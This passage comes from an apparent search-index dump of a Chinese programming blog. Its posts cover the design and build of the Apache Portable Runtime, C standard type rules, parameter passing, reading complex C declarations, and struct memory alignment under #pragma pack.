如果某个函数需要内部分配内存，则将一个apr_pool_t参数放在最后。\n3、错误处理\n大型的系统程序的错误处理是十分重要的，APR作为一通用的库接口集合详细的说明了使用APR时如何进行错误处理。\n1) 错误处理的第一步就是“错误码和状态码分类”。APR的函数大部分都返回apr_status_t类型的错误码，这是一个int型，在apr_errno.h中定义，和它在一起定义的还有apr所用的所有错误码和状态码。APR定义了5种错误码类型，它们分别为“0”[注2]、APR_OS_START_ERROR、APR_OS_START_STATUS、APR_OS_START_USEERR和APR_OS_START_SYSERR，它们每个都拥有自己独自的偏移量。\n2) 如何定义错误捕捉策略？\n由于APR是可移植的，这样就可能遇到这样一个问题：不同平台错误码的不一致。如何处理呢？APR给我们提供了2种策略：\na) 跨多平台返回相同的错误码\n这种策略的缺点是转换费时且在转换时有错误码损耗。比如Windows操作系统定义了成百上千错误码，而POSIX才定义了50错误码，如果都转换为规范统一的错误码，势必会有错误码含义丢失，有可能得不到拥有真正含义的错误码。执行流程如：\nmake syscall that fails\nconvert to common error code\nreturn common error code\n——————————————————————-\ndecide execution based on common error code\nb) 返回平台相关错误码，如果需要将它转换为通用错误码\n程序的执行路线往往要根据函数返回错误码来定，这么做的缺点就是把这些工作推给了程序员。执行流程如：\nmake syscall that fails\nreturn error code\n——————————————————————-\nconvert to common error code (using ap_canonical_error)\ndecide execution based on common error code\n[注1] 调用约定\n我们知道函数调用是通过栈操作来完成的，在栈操作过程中需要函数的调用者和被调用者在下面的两个问题上做出协调，达成协议：\na) 当参数个数多于一个时，按照什么顺序把参数压入堆栈\nb) 函数调用后，由谁来把堆栈恢复原来状态\n在像C/C++这样的中、高级语言中，使用“调用约定”来说明这两个问题。\n[注2] 特殊“0”\n每个平台都有0，但是都没有实际的定义，0又的确是一个errno value的offset，但是它是“匿名的”，它不像EEXIST那样有着可以“自描述”的名字。\n","permalink":"https://tonybai.com/2005/08/30/apr-design/","summary":"\u003cp\u003e作为一个可移植的运行时环境，\u003ca href=\"http://apr.apache.org/\"\u003eAPR\u003c/a\u003e的设计当然是很精妙的，但精妙的同时对使用者有一些限制。\u003c/p\u003e\n\u003cp\u003eAPR附带一个简短的设计文档，文字言简意赅，其中很多的设计思想都值得我们所借鉴，主要从三个方面谈。\u003c/p\u003e\n\u003cp\u003e1、类型\u003cbr\u003e\n1) APR提供并建议用户使用APR自定义的数据类型，好处很多，比如便于代码移植，避免数据间进行不必要的类型转换（如果你不使用APR自定义的数据类型，你在使用某些APR提供的接口时，就需要进行一些参数的类型转换）；自定义数据类型的名字更加具有自描述性，提高代码可读性。APR提供的基本自定义数据类型包括：\u003cbr\u003e\ntypedef unsigned char  apr_byte_t;\u003cbr\u003e\ntypedef short    apr_int16_t;\u003cbr\u003e\ntypedef unsigned short   apr_uint16_t;                                              \u003cbr\u003e\ntypedef int    apr_int32_t;\u003cbr\u003e\ntypedef unsigned int   apr_uint32_t;                                              \u003cbr\u003e\ntypedef long long   apr_int64_t;\u003cbr\u003e\ntypedef unsigned long long  apr_uint64_t;\u003cbr\u003e\n这些都是在apr.h中定义的，而apr.h在UNIX平台是通过configure程序生成的，在不同平台APR自定义类型的实际类型是完全有可能不一致的。\u003c/p\u003e","title":"APR源代码分析-设计篇"},{"content":"由于部门所使用的底层库与Apache Server有着“一定的渊源”，所以总有一种想看看Apache的实现的冲动。最近项目收尾，愿望终可实现。\n一、何为APR?\nApache Server经过这么多年的发展后，将一些通用的运行时接口封装起来提供给大家，这就是Apache Portable Run-time libraries, APR。\n二、APR的目录组织\n从www.apache.org上下载apr-1.1.1.tar.gz到本地解压后，发现APR的目录结构很清晰。\n1) 所有的头文件都放在$(APR)/include目录中;\n2) 所有功能接口的实现都放在各自的独立目录下，如threadproc、mmap等;\n3) 此外就是相关平台构建工具文件如Makefile.in等。曾经看过ACE的代码，ACE的所有源文件(.cpp)都放在一个目录下，显得很混乱。APR给我的第一印象还不错。\n4) 进入各功能接口子目录，以threadproc为例，在其下面的子目录有5个，分别为beos、netware、os2、unix和win32。从APR的名字也可以理解，每个子目录下都存放着各个平台的独特实现源文件。\n三、APR构建\n如果想要使用APR，需要先在特定平台上构建它，这里不考虑多个平台的特性，仅针对Unix平台进行分析。\n1) apr.h、apr.h.in、apr.h.hw和apr.h.hnw的关系\n在$(APR)/include目录下，由于APR考虑移植性等原因，最基本的apr.h文件是在构建时自动生成的，其中apr.h.in类似一模板作为apr.h生成程序的输入源。其中apr.h.hw和apr.h.hnw分别是Windows和NetWare的特定版本。\n2) 编译时注意事项\n在Unix上编译时，注意$(APR)/build下*.sh文件的访问权限，应该先chmod一下，否则Make的时候会提示ERROR。\n四、应用APR\n我们首先make install一下，比如我们在Makefile中指定prefix=$(APR)/dist，则make install后，在$(APR)/dist下会发现4个子目录，分别为bin、lib、include和build，其中我们感兴趣的只有include和lib。下面是一个APR app的例子project。\n该工程的目录组织如下：\n$(apr_path)\n- dist\n– lib\n– include\n- examples\n– apr_app\n– Make.properties\n– Makefile\n– apr_app.c\n我们的Make.properties文件内容如下：\n#\n# The APR app demo\n#\nCC = gcc -Wall\nBASEDIR = $(HOME)/apr-1.1.1/examples/apr_app\nAPRDIR = $(HOME)/apr-1.1.1\nAPRVER = 1\nAPRINCL = $(APRDIR)/dist/include/apr-$(APRVER)\nAPRLIB = $(APRDIR)/dist/lib\nDEFS = -D_REENTRANT -D_POSIX_PTHREAD_SEMANTICS -D_DEBUG_\nLIBS = -L$(APRLIB) -lapr-$(APRVER) \\\n-lpthread -lxnet -lposix4 -ldl -lkstat -lnsl -lkvm -lz -lelf -lm -lsocket -ladm\nINCL = -I$(APRINCL)\nCFLAGS = $(DEFS) $(INCL)\nMakefile文件内容如下：\ninclude Make.properties\nTARGET = apr_app\nOBJS = apr_app.o\nall: $(TARGET)\n$(TARGET): $(OBJS)\n$(CC) ${CFLAGS} -o $@ $(OBJS) ${LIBS}\nclean:\nrm -f core $(TARGET) $(OBJS)\n而apr_app.c文件采用的是$(apr_path)/test目录下的proc_child.c文件。编译运行一切OK！\n五、GO ON\n分析APR的过程也是我学习Unix高级系统机制的过程，有时间我会继续APR分析的。\n","permalink":"https://tonybai.com/2005/08/25/apr-introduction/","summary":"\u003cp\u003e由于部门所使用的底层库与\u003ca href=\"http://httpd.apache.org\"\u003eApache Server\u003c/a\u003e有着“一定的渊源”，所以总有一种想看看Apache的实现的冲动。最近项目收尾，愿望终可实现。\u003c/p\u003e\n\u003cp\u003e一、何为APR?\u003cbr\u003e\nApache Server经过这么多年的发展后，将一些通用的运行时接口封装起来提供给大家，这就是\u003ca href=\"http://apr.apache.org/\"\u003eApache Portable Run-time libraries\u003c/a\u003e, APR。\u003c/p\u003e","title":"APR源代码分析-整体篇"},{"content":"类型表示(representation of types)\n1、一般规则\na) 除了位域(bit field)之外的对象都是由一个或多个相邻序列字节组成的，这些字节的个数(number)、次序(order)和编码方式或是显式说明的，或是实现定义的。\nb) 存储在非符号位域(unsigned bit field)和unsigned char类型对象中的值应该用纯二进制表示(pure binary notation)。(这里就可以理解为符号位当作普通二进制位看)\nc) 存储在非位域的其他类型对象的值由n字节组成，这个值可以被拷贝到一个unsigned char[n]类型的对象中去。[注1]\n2、整型\na) 对于无符号整型(而不是unsigned char)，用于表示对象的位应分为两组：值位(value bits)和补充位(padding bits)。补充位的值是不确定的。\nb) 对于有符号整型，用于表示对象的位应分为三组：值位(value bits)和补充位(padding bits)和符号位(sign bit)。这种类型应恰好有一位符号位，补充位不必要。\nc) 整型的精度是指用来表示对象值所用的bit位数，不包括符号位和补充位。整型的宽度也是指用来表示对象值所用的bit位数，但它包含符号位。对于unsign整型来说其精度和宽度是相同的。\n3、兼容类型(compatible type)和复合类型(composite type)\n在平时的C语言使用中，我们几乎没提到过这两个概念，这里对这两个概念作简单解释：\n兼容类型用来在不同翻译单元间检查类型兼容性；\n复合类型产生的原因是由于这样的情况“在同一namespace和同一scope中，同一个标识符的声明不止一个”。\nE.G.\nvoid f();\nvoid f(int p1[], const int p2, float * p3);\nvoid f(int p1[2], int p2, float * p3);\nComposite type is: void f(int p1[2], int p2, float *p3);\n如果两个类型相同，则两个类型兼容。在这一规则背后隐藏着的含义是“兼容类型总是有着相同的表示(representation)和对齐(alignment)需求”。\n关于兼容类型，标准中说了不少，不过觉得在使用时对之少有问津，所以到这就“浅尝辄止”了:)。\n[注1]\n也是由于这点，下面这个函数工作良好。\nvoid dump_mem(const void *p, size_t size) {\nunsigned char *c = (unsigned char*)p;\nsize_t i;\nYOUR_ASSERT(p != NULL);\nfor (i = 0; i \u0026lt; size; i++) {\nprintf(\u0026quot;%02X \u0026ldquo;, c[i]);\n}\nprintf(\u0026rdquo;\\t|\u0026quot;);\nfor (i = 0; i \u0026lt; size; i++) {\nif(isprint(c[i])) {\nprintf(\u0026quot;%c \u0026ldquo;, c[i]);\n}\n}\nprintf(\u0026rdquo;\\n\u0026quot;);\n}\n用法：\nint i = 0×45674142;\ndump_mem(\u0026amp;i, sizeof(i));\n输出：\n42 41 67 45 |B A g E /* 在WinXP , MingW Gcc3.4.2 */\n45 67 41 42 |E g A B /* 在Solaris, Gcc3.2 */\n","permalink":"https://tonybai.com/2005/08/19/c-standard-overview-type-representation/","summary":"\u003cp\u003e类型表示(representation of types)\u003c/p\u003e\n\u003cp\u003e1、一般规则\u003cbr\u003e\na) 除了位域(bit field)之外的对象都是由一个或多个相邻序列字节组成的，这些字节的个数(number)、次序(order)和编码方式或是显式说明的，或是实现定义的。\u003c/p\u003e","title":"走马观花ANSI C标准-类型表示"},{"content":"翻看以前的一次jjhou的“高阶C”课程的ppt，突然想到今天指导新员工时，她犯的关于参数传递方面的错误，就想简单分析一下。\n一、现象和经验\n规则：任何时候你想在函数内修改某个外面的变量值，并影响Caller，你应该传递该变量的地址进去。如果是指针变量，也不例外。\na) 反例1\nvoid test(int a) {\na = a + 10;\n}\nint main() {\nint cnt = 0;\ntest(cnt);\nassert(cnt == 10); /* assert dump error */\n}\n反例1的更正：\n就如同上面的“规则”，如果你想在test内部改变cnt的值，你应该传cnt的地址。\nint main() {\nint cnt = 0;\ntest(\u0026amp;cnt);\nassert(cnt == 10); /* ok */\n}\n当然这时test的原型要改变一下，实现也应修改。\nvoid test(int *a) {\n*a = *a + 10;\n}\nb) 反例2\nvoid test(char *p) {\np = malloc(128);\n}\nint main() {\nchar *buf = NULL;\ntest(buf);\nassert(buf != NULL); /* assert dump error */\n}\n反例2的更正：\n就如同上面的“规则”所说指针也不例外，如果你想在test内部改变指针buf的值，你应该传buf的地址。\nint main() {\nchar *buf = NULL;\ntest(\u0026amp;buf);\nassert(buf != NULL); /* ok */\n}\n当然这时test的原型要改变一下，实现也应修改。\nvoid test(char **p) {\n*p = malloc(128);\n}\n二、本质分析\nC在进行函数参数传递的时候，实际的参数值被复制到被调函数局部的存储区中。由于在blog中不便于用图形分析，这里就是用伪码简单分析一下：\n下面用伪码分析上面的反例1:\nvoid test(int a) {\na = a + 10;\n}\ntest(cnt);\n=\u0026gt;\ntest(cnt) {\nint _a = cnt; //实际的参数值cnt被复制到被调函数局部的存储区,这里用_a表示test的一个局部存储变量\n_a = _a + 10;\n}\n一看便知cnt的值并未被修改。\n再对比一下反例1改正后的伪码：\nvoid test(int *a) {\n*a = *a + 10;\n}\ntest(\u0026amp;cnt);\n=\u0026gt;\ntest(\u0026amp;cnt) {\nint *_a = \u0026amp;cnt; //_a表示test的一个局部存储变量，而_a复制的是外部变量的地址，\n//这样就可通过该地址自由修改外部变量的值了\n*_a = *a + 10; //通过指向cnt地址的指针修改了cnt的值。\n}\n","permalink":"https://tonybai.com/2005/08/12/analysis-on-args-passing/","summary":"\u003cp\u003e翻看以前的一次\u003ca href=\"http://jjhou.boolan.com\"\u003ejjhou\u003c/a\u003e的“高阶C”课程的ppt，突然想到今天指导新员工时，她犯的关于参数传递方面的错误，就想简单分析一下。\u003c/p\u003e\n\u003cp\u003e一、现象和经验\u003cbr\u003e\n规则：任何时候你想在函数内修改某个外面的变量值，并影响Caller，你应该传递该变量的地址进去。如果是指针变量，也不例外。\u003c/p\u003e","title":"分析“参数传递”"},{"content":"今天是牛郎和织女见面的日子，而我的织女因学校放假早已回家去了，剩下我这个孤独的牛郎只能“胡思乱想”，遂有了这篇blog。^_^\n感悟一：今早早起，翻来覆去睡不着，想起昨晚和一大学哥们的谈话，他曾经和老外交流过，老外的想法是“中国人总是把自己的一辈子都想好，然后在按部就班的去工作生活；老外则是走一步算一步。”，对照自己最近的想法，好像有些不谋而合，这个老外挺有思想。\n感悟二：继续翻来覆去，突然想到程序员的薪水和房价，一道灵光闪过^_^，得到一个近似的结论：“中国各地工作两三年的程序员的薪水和当地的房价均价基本一致”，举例说明：我们寝室一哥们，工作3年，薪水和沈阳的平均房价相差不到100元；部门前些日子离职去上海的一工作三年的同事到上海后的薪水，也和上海的平均房价相符；听深圳的同学说，在华为工作2、3年的员工，拿到的薪水也就是深圳的房价均价。\n","permalink":"https://tonybai.com/2005/08/11/thought-on-chinese-valentine-day/","summary":"\u003cp\u003e今天是牛郎和织女见面的日子，而我的织女因学校放假早已回家去了，剩下我这个孤独的牛郎只能“胡思乱想”，遂有了这篇blog。^_^\u003c/p\u003e\n\u003cp\u003e感悟一：今早早起，翻来覆去睡不着，想起昨晚和一大学哥们的谈话，他曾经和老外交流过，老外的想法是“中国人总是把自己的一辈子都想好，然后在按部就班的去工作生活；老外则是走一步算一步。”，对照自己最近的想法，好像有些不谋而合，这个老外挺有思想。\u003c/p\u003e","title":"七夕感悟"},{"content":"部门最近在进行C培训，由于有一个新员工需要我来指导，所以看了一下培训用的ppt，了解一下新员工的学习进度，恰看到ppt中有关“如何读懂复杂C声明”的章节。遂想起来自己在看《C专家编程》时，这块儿看得并不是很深刻，万一新员工问到我这块儿…，我不能打没有准备之仗，遂恶补之。\n复杂的C声明一般被认为不是很好的编程习惯，当然也就不推荐使用。但是在读很多前辈遗留的代码时，又不得不面对这一问题。知道总比不知道好，我们还是来看看分析复杂C语言声明的规则吧，用例子分析最直观。\n一、“right-left”规则\n看过《C专家编程》中的分析规则，用起来并不是很舒服，遂在网上寻找，发现还有一个著名的“right-left”规则。规则经翻译总结后如下：\n“right-left”规则：\n0. 规则中符号\n* 读作 “指向…的指针” [] 读作 “…的数组” () 读作 “返回…的函数”\n1. 起始点\n找到声明中的标识符(Identifier)，它就是你分析的起始点，读作：“$(Identifier)是…”；\n2. 右边\n看你的标识符右边\na) 如果发现“()”，你将知道这是一个函数声明，这时你可以说“$(Identifier)是返回…的函数”；\nb) 如果发现“[]”，你将知道这是一个数组声明，这时你可以说“$(Identifier)是…的数组”；\nc) 继续向右，直到遇到右边声明结束或者遇到“)”，继续下面。\n3. 左边\n看你的标识符左边\na) 如果碰到的不是我们在0.中定义的符号，则直接说出它；否则按照0.中定义的符号含义说出。继续向左，直到遇到左边声明结束或“(”。\n4. 重复2和3的步骤，直到声明分析完毕。\n二、例子详解\n我们从简单到复杂，循序渐进。\n[Example 1] int *p[];\n1) 找到标识符：p，读作：“p是…”；\n2) 向右看：发现一“[]”，然后遇到右边声明结尾，读作：“p是…的数组”；\n3) 向左看：发现一“*”， 读作：“p是指向…的指针的数组”；\n4) 继续向左看：没有发现0.中定义的符号，则分析结束，读作：“p是指向int类型的指针的数组”。\n[Example 2] int *(*func())();\n1) 找到标识符：func，读作：“func是…”；\n2) 向右看：发现一“()”，然后遇到“)”，读作：“func是返回…的函数”；\n3) 向左看：发现一“*”，然后遇到“(”，读作：“func是返回指向…的指针的函数”；\n4) 向右看：发现一“()”，然后右边声明结束，读作：“func是返回指向返回…的函数的指针的函数”；\n5) 向左看：发现一“*”，读作：“func是返回指向返回指向…的指针的函数的指针的函数”；\n6) 向左看：没有发现.中定义的符号，则分析结束，读作：“func是返回指向返回指向int类型的指针的函数的指针的函数”。\n三、常见不合法的声明符号组合\n包括：\n[]() – cannot have an array of functions\n()() – cannot have a function that returns a function\n()[] – cannot have a function that returns an array\n现在新员工来问我相关问题，我已经是“来者不拒”了，呵呵。\n","permalink":"https://tonybai.com/2005/08/09/an-explanation-of-complex-c-declaration/","summary":"\u003cp\u003e部门最近在进行\u003ca href=\"http://tonybai.com/tag/C\"\u003eC\u003c/a\u003e培训，由于有一个新员工需要我来指导，所以看了一下培训用的ppt，了解一下新员工的学习进度，恰看到ppt中有关“如何读懂复杂C声明”的章节。遂想起来自己在看《\u003ca href=\"http://book.douban.com/subject/2377310\"\u003eC专家编程\u003c/a\u003e》时，这块儿看得并不是很深刻，万一新员工问到我这块儿…，我不能打没有准备之仗，遂恶补之。\u003c/p\u003e\n\u003cp\u003e复杂的C声明一般被认为不是很好的编程习惯，当然也就不推荐使用。但是在读很多前辈遗留的代码时，又不得不面对这一问题。知道总比不知道好，我们还是来看看分析复杂C语言声明的规则吧，用例子分析最直观。\u003c/p\u003e","title":"C复杂声明解析"},{"content":"在最近的项目中，我们涉及到了“内存对齐”技术。对于大部分程序员来说，“内存对齐”对他们来说都应该是“透明的”。“内存对齐”应该是编译器的“管辖范围”。编译器为程序中的每个“数据单元”安排在适当的位置上。但是C语言的一个特点就是太灵活，太强大，它允许你干预“内存对齐”。如果你想了解更加底层的秘密，“内存对齐”对你就不应该再透明了。\n一、内存对齐的原因\n大部分的参考资料都是如是说的：\n1、平台原因(移植原因)：不是所有的硬件平台都能访问任意地址上的任意数据的；某些硬件平台只能在某些地址处取某些特定类型的数据，否则抛出硬件异常。\n2、性能原因：数据结构(尤其是栈)应该尽可能地在自然边界上对齐。原因在于，为了访问未对齐的内存，处理器需要作两次内存访问；而对齐的内存访问仅需要一次访问。\n二、对齐规则\n每个特定平台上的编译器都有自己的默认“对齐系数”(也叫对齐模数)。程序员可以通过预编译命令#pragma pack(n)，n=1,2,4,8,16来改变这一系数，其中的n就是你要指定的“对齐系数”。\n规则：\n1、数据成员对齐规则：结构(struct)(或联合(union))的数据成员，第一个数据成员放在offset为0的地方，以后每个数据成员的对齐按照#pragma pack指定的数值和这个数据成员自身长度中，比较小的那个进行。\n2、结构(或联合)的整体对齐规则：在数据成员完成各自对齐之后，结构(或联合)本身也要进行对齐，对齐将按照#pragma pack指定的数值和结构(或联合)最大数据成员长度中，比较小的那个进行。\n3、结合1、2颗推断：当#pragma pack的n值等于或超过所有数据成员长度的时候，这个n值的大小将不产生任何效果。\n三、试验\n我们通过一系列例子的详细说明来证明这个规则吧!\n我试验用的编译器包括GCC 3.4.2和VC6.0的C编译器，平台为Windows XP + Sp2。\n我们将用典型的struct对齐来说明。首先我们定义一个struct：\n#pragma pack(n) /* n = 1, 2, 4, 8, 16 */\nstruct test_t {\nint a;\nchar b;\nshort c;\nchar d;\n};\n#pragma pack(n)\n首先我们首先确认在试验平台上的各个类型的size，经验证两个编译器的输出均为：\nsizeof(char) = 1\nsizeof(short) = 2\nsizeof(int) = 4\n我们的试验过程如下：通过#pragma pack(n)改变“对齐系数”，然后察看sizeof(struct test_t)的值。\n1、1字节对齐(#pragma pack(1))\n输出结果：sizeof(struct test_t) = 8 [两个编译器输出一致]\n分析过程：\n成员数据对齐\n#pragma pack(1)\nstruct test_t {\nint a; /* 长度4 \u0026lt; 1 按1对齐；起始offset=0 0%1=0；存放位置区间[0,3] */\nchar b; /* 长度1 = 1 按1对齐；起始offset=4 4%1=0；存放位置区间[4] */\nshort c; /* 长度2 \u0026gt; 1 按1对齐；起始offset=5 5%1=0；存放位置区间[5,6] */\nchar d; /* 长度1 = 1 按1对齐；起始offset=7 7%1=0；存放位置区间[7] */\n};\n#pragma pack()\n成员总大小=8\n整体对齐\n整体对齐系数 = min((max(int,short,char), 1) = 1\n整体大小(size)=$(成员总大小) 按 $(整体对齐系数) 圆整 = 8 /* 8%1=0 */ [注1]\n2、2字节对齐(#pragma pack(2))\n输出结果：sizeof(struct test_t) = 10 [两个编译器输出一致]\n分析过程：\n成员数据对齐\n#pragma pack(2)\nstruct test_t {\nint a; /* 长度4 \u0026gt; 2 按2对齐；起始offset=0 0%2=0；存放位置区间[0,3] */\nchar b; /* 长度1 \u0026lt; 2 按1对齐；起始offset=4 4%1=0；存放位置区间[4] */\nshort c; /* 长度2 = 2 按2对齐；起始offset=6 6%2=0；存放位置区间[6,7] */\nchar d; /* 长度1 \u0026lt; 2 按1对齐；起始offset=8 8%1=0；存放位置区间[8] */\n};\n#pragma pack()\n成员总大小=9\n整体对齐\n整体对齐系数 = min((max(int,short,char), 2) = 2\n整体大小(size)=$(成员总大小) 按 $(整体对齐系数) 圆整 = 10 /* 10%2=0 */\n3、4字节对齐(#pragma pack(4))\n输出结果：sizeof(struct test_t) = 12 [两个编译器输出一致]\n分析过程：\n成员数据对齐\n#pragma pack(4)\nstruct test_t {\nint a; /* 长度4 = 4 按4对齐；起始offset=0 0%4=0；存放位置区间[0,3] */\nchar b; /* 长度1 \u0026lt; 4 按1对齐；起始offset=4 4%1=0；存放位置区间[4] */\nshort c; /* 长度2 \u0026lt; 4 按2对齐；起始offset=6 6%2=0；存放位置区间[6,7] */\nchar d; /* 长度1 \u0026lt; 4 按1对齐；起始offset=8 8%1=0；存放位置区间[8] */\n};\n#pragma pack()\n成员总大小=9\n整体对齐\n整体对齐系数 = min((max(int,short,char), 4) = 4\n整体大小(size)=$(成员总大小) 按 $(整体对齐系数) 圆整 = 12 /* 12%4=0 */\n4、8字节对齐(#pragma pack(8))\n输出结果：sizeof(struct test_t) = 12 [两个编译器输出一致]\n分析过程：\n成员数据对齐\n#pragma pack(8)\nstruct test_t {\nint a; /* 长度4 \u0026lt; 8 按4对齐；起始offset=0 0%4=0；存放位置区间[0,3] */\nchar b; /* 长度1 \u0026lt; 8 按1对齐；起始offset=4 4%1=0；存放位置区间[4] */\nshort c; /* 长度2 \u0026lt; 8 按2对齐；起始offset=6 6%2=0；存放位置区间[6,7] */\nchar d; /* 长度1 \u0026lt; 8 按1对齐；起始offset=8 8%1=0；存放位置区间[8] */\n};\n#pragma pack()\n成员总大小=9\n整体对齐\n整体对齐系数 = min((max(int,short,char), = 4\n整体大小(size)=$(成员总大小) 按 $(整体对齐系数) 圆整 = 12 /* 12%4=0 */\n5、16字节对齐(#pragma pack(16))\n输出结果：sizeof(struct test_t) = 12 [两个编译器输出一致]\n分析过程：\n成员数据对齐\n#pragma pack(16)\nstruct test_t {\nint a; /* 长度4 \u0026lt; 16 按4对齐；起始offset=0 0%4=0；存放位置区间[0,3] */\nchar b; /* 长度1 \u0026lt; 16 按1对齐；起始offset=4 4%1=0；存放位置区间[4] */\nshort c; /* 长度2 \u0026lt; 16 按2对齐；起始offset=6 6%2=0；存放位置区间[6,7] */\nchar d; /* 长度1 \u0026lt; 16 按1对齐；起始offset=8 8%1=0；存放位置区间[8] */\n};\n#pragma pack()\n成员总大小=9\n整体对齐\n整体对齐系数 = min((max(int,short,char), 16) = 4\n整体大小(size)=$(成员总大小) 按 $(整体对齐系数) 圆整 = 12 /* 12%4=0 */\n四、结论\n8字节和16字节对齐试验证明了“规则”的第3点：“当#pragma pack的n值等于或超过所有数据成员长度的时候，这个n值的大小将不产生任何效果”。另外内存对齐是个很复杂的东西，上面所说的在有些时候也可能不正确。呵呵^_^\n[注1]\n什么是“圆整”？\n举例说明：如上面的8字节对齐中的“整体对齐”，整体大小=9 按 4 圆整 = 12\n圆整的过程：从9开始每次加一，看是否能被4整除，这里9，10，11均不能被4整除，到12时可以，则圆整结束。\n相关文章：\n1. 也谈内存对齐(续)\n2. 三谈内存对齐－背后的故事\n3. 四谈内存对齐\n","permalink":"https://tonybai.com/2005/08/09/also-talk-about-memory-alignment/","summary":"\u003cp\u003e在最近的项目中，我们涉及到了“\u003ca href=\"http://en.wikipedia.org/wiki/Data_structure_alignment\"\u003e内存对齐\u003c/a\u003e”技术。对于大部分程序员来说，“内存对齐”对他们来说都应该是“透明的”。“内存对齐”应该是编译器的“管辖范围”。编译器为程序中的每个“数据单元”安排在适当的位置上。但是\u003ca href=\"http://tonybai.com/tag/C\"\u003eC语言\u003c/a\u003e的一个特点就是太灵活，太强大，它允许你干预“内存对齐”。如果你想了解更加底层的秘密，“内存对齐”对你就不应该再透明了。\u003c/p\u003e\n\u003cp\u003e一、内存对齐的原因\u003cbr\u003e\n大部分的参考资料都是如是说的：\u003cbr\u003e\n1、平台原因(移植原因)：不是所有的硬件平台都能访问任意地址上的任意数据的；某些硬件平台只能在某些地址处取某些特定类型的数据，否则抛出硬件异常。\u003cbr\u003e\n2、性能原因：数据结构(尤其是栈)应该尽可能地在自然边界上对齐。原因在于，为了访问未对齐的内存，处理器需要作两次内存访问；而对齐的内存访问仅需要一次访问。\u003c/p\u003e","title":"也谈内存对齐"},{"content":"类型(type)\n1、类型分为：\na) object type — types that fully describe objects\nb) function type — types that describe functions\nc) uncomplete type — types that describe objects but lack information needed to determine their sizes，如void\n2、在C99中加入了布尔类型_Bool，其定义为大小足够容纳0和1的类型。检查一下手头的编译器发现GCC 3.4.3支持_Bool，而Microsoft C/C++ Version 12.00.8168(VC6.0)则不支持。\n3、char类型被定义为：大小足以容纳任何一个“basic execution charactor set”中的字符。如果任何一个“basic execution charactor set”中的字符存储在一个char中，它的值可以保证为“positive”；其他字符存储在一个char中，其值要根据具体的实现定义了。\n4、标准定义了5个有符号整型：signed char, short int, int, long int, and long long int。当然各个不同的实现可以定义自己的扩展有符号整型。我们常说的有符号整型指的是标准的和扩展的统称。一个signed char占用的内存空间和一个\u0026quot;plain\u0026quot; char相同。一个\u0026quot;plain\u0026quot; int拥有执行环境架构建议的“自然大小”。区间在[INT_MIN, INT_MAX](in limits.h)\n5、每一个标准定义的有符号整型都对应着一个unsigned int type, 它们称为标准无符号整型。它们占据的内存空间与有符号整型相同。和有符号整型一样，各个不同的实现定义了相关的扩展无符号整型。它们放在一起统称为“无符号整型”。\n6、标准定义了3个“浮点实型”，分别为：float , double , long double。float的值的范围是double值范围的子集，同样double的值的范围是long double值范围的子集。\n7、char type, signed int和unsigned int types, float type被统称为\u0026quot;basic types\u0026quot;。枚举是一个整型常量的集合。char type, signed int和unsigned int types和枚举统称为integer types。integer types和real floating types统称为\u0026quot;real types\u0026quot;。\n8、void是个典型的uncomplete type，而且不能被completed；一个没有指定size的数组类型也是uncomplete type，但是却可以被completed。\n9、到目前为止，以上提到都是\u0026quot;unqualified type\u0026quot;, 每个\u0026quot;unqualified type\u0026quot;都有若干个qualified type. 通过与几个qualifiers : const、volatile、restrict的组合即可。\n","permalink":"https://tonybai.com/2005/08/06/c-standard-overview-type/","summary":"\u003cp\u003e类型(type)\u003c/p\u003e\n\u003cp\u003e1、类型分为：\u003cbr\u003e\n   a) object type — types that fully describe objects\u003cbr\u003e\n   b) function type — types that describe functions\u003cbr\u003e\n   c) uncomplete type — types that describe objects but lack information needed to determine their sizes，如void\u003c/p\u003e\n\u003cp\u003e2、在\u003ca href=\"http://en.wikipedia.org/wiki/C99\"\u003eC99\u003c/a\u003e中加入了布尔类型_Bool，其定义为大小足够容纳0和1的类型。检查一下手头的编译器发现\u003ca href=\"http://tonybai.com/tag/GCC\"\u003eGCC\u003c/a\u003e 3.4.3支持_Bool，而Microsoft C/C++  Version 12.00.8168(VC6.0)则不支持。\u003c/p\u003e","title":"走马观花ANSI C标准-类型"},{"content":"标识符(identifier)\n1、一个标识符可以表示:\na) 对象(object)\nb) 函数(function)\nc) 结构体(struct)的标签(Tag)[注1]\nd) 结构体的成员\ne) 联合体(union)或枚举类型(enumeration)\nf) 类型别名(typedef)\ng) 标签(label)\nh) 宏(macro)\ni) 宏参数(macro parameter)\n同一个标识符在程序的“不同点”处可以表示不同的“实体”(entity)。[注2]\n一个枚举(enumeration)的成员被称为一个“枚举常量，enumeration constant”。\n2、作用域(Scope)\nScope共定义了四种：\na) 函数作用域(function)\nb) 文件作用域(file)\nc) 块作用域(block)\nd) 函数原型作用域(function prototype)\n标签名(label name)是唯一一个拥有“函数作用域”的标识符。它可以用在它所在函数内的任何位置。\n标识符拥有的作用域取决于它声明时的位置。\n如果标示符声明在任何块(block)或者函数定义的参数列表外的话，那么它拥有“文件作用域”，它的作用域同所在“翻译单元”；\n如果标示符声明在任何块(block)或者函数定义的参数列表内的话，那么它拥有“块作用域”，它的作用域同所在“块”；\n如果标示符声明在函数原型的参数列表内的话，那么它拥有“函数原型作用域”，它的作用域同所在的“函数原型”。\n一个原则：“内层作用域，inner scope”的标识符会隐藏(hide)“外层作用域，outer scope”的标识符。\n3、标识符的链接(linkages of identifiers)\n在不同Scopes或者同一个Scope下声明不止一次的标识符，进程会将它们参考到(refer to)同一个object或function，这就被称为“linkage”。注意：在不同的标识符之间没有linkage可言。\n标准定义了3种linkage:\na) external\nb) interal\nc) none\n1) 在组成一个完整程序的“翻译单元”和“库”中，拥有external linkage的标识符指示同一个object or function；\n2) 在一个“翻译单元”内，拥有internal linkage的标识符指示同一个object or function；\n3) 一个“文件作用域”的标识符，如果前面有“static”修饰，那么该标识符拥有“internal linkage”；\n4) 一个没有任何存储类型(storage-class)修饰的函数标识符与使用extern修饰的函数标识符的linkage相同；\n5) none linkage情况:\na) 一个被声明为既不是object又不是function的标识符；\nb) 一个被声明为函数parameter的标识符；\nc) 一个被声明为object，拥有block scope，但无extern修饰的标识符。\n[注1]\n关于“结构体的标签”我们举例说明：\nstruct point_t {\nint x;\nint y;\n};\npoint_t被称为“结构体的标签”，注意在ANSI C中“结构体的标签”不是类型，不能单独使用。必须和struct联合使用。\n如：point_t origin; /* error */\nstruct point_t origin; /* ok */\n[注2]\n关于这句话“同一个标识符在程序的“不同点”处可以表示不同的“实体”(entity)”还是很好理解的。一般都是由于Scope的不同。例如：\nsrc1.c中的static int count和src2.c中的同名的static int 